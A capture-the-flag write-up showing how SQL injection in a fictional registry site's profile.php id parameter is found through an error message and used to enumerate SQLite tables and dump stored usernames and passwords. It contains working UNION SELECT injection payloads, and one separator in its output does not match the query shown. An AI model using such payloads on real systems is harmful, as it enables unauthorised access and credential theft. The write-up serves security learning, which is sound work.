back to home

PSYCHORAPTURE, pt. 2 Challenge #1 - Alias

This challenge can be found when Eli explains the Guac's DNA scanning technology.

The Setup

New Epoch's GUACs match every visitor against the major biometric databases. But Wheeler planted phony identities for the team years ago.

Help Eli leak the registrar's master credentials before the cult runs a skin-scale match!

We are given access to a website, the "New Epoch Genetic Registry".

The Injection

The website is a New Epoch member directory. We can see the list of 32 members, as well as a search box.

First thing I tried is malformed queries in the search box, such as words containing ", ', ` characters, but that did not lead anywhere.

Clicking on a user, you get redirected to profile.php?id=101 (for user 101). Let's try injecting special characters in this id field.

Going to profile.php?id=101' gives us this error message:

QUERY:  SELECT id, alias, former_name, designation, liminal_status, skinscale_hash
            FROM identities WHERE id = '101''
ERROR:  SQLSTATE[HY000]: General error: 1 unrecognized token: "'101''"

Bingo! The error tells us two things: the database is SQLite, and the id is pasted as-is inside single quotes, something like ... WHERE id = '$id'.

Now for a bit of SQL magic to render information about existing tables:

.../profile.php?id=0' UNION SELECT 1,group_concat(name,0x7c),3,4,5,6 FROM sqlite_master--
identities | users

The challenge page asked us to "leak the registrar's master credentials", so we probably need to look deeper into this users table. Strings like 'users' can't be written with quotes here so we need to build the word manually with char(...) from its character codes instead (117,115,101,114,115 is users).

.../profile.php?id=0' UNION SELECT 1,group_concat(name),3,4,5,6 FROM pragma_table_info(char(117,115,101,114,115))--
id, username, password

Finally, let's dump the usernames and passwords:

.../profile.php?id=0' UNION SELECT 1,group_concat(username||char(58)||password,char(59,32)),3,4,5,6 FROM users--
ADMIN:KEY{______}

The table has a single user, admin, and its password is our key!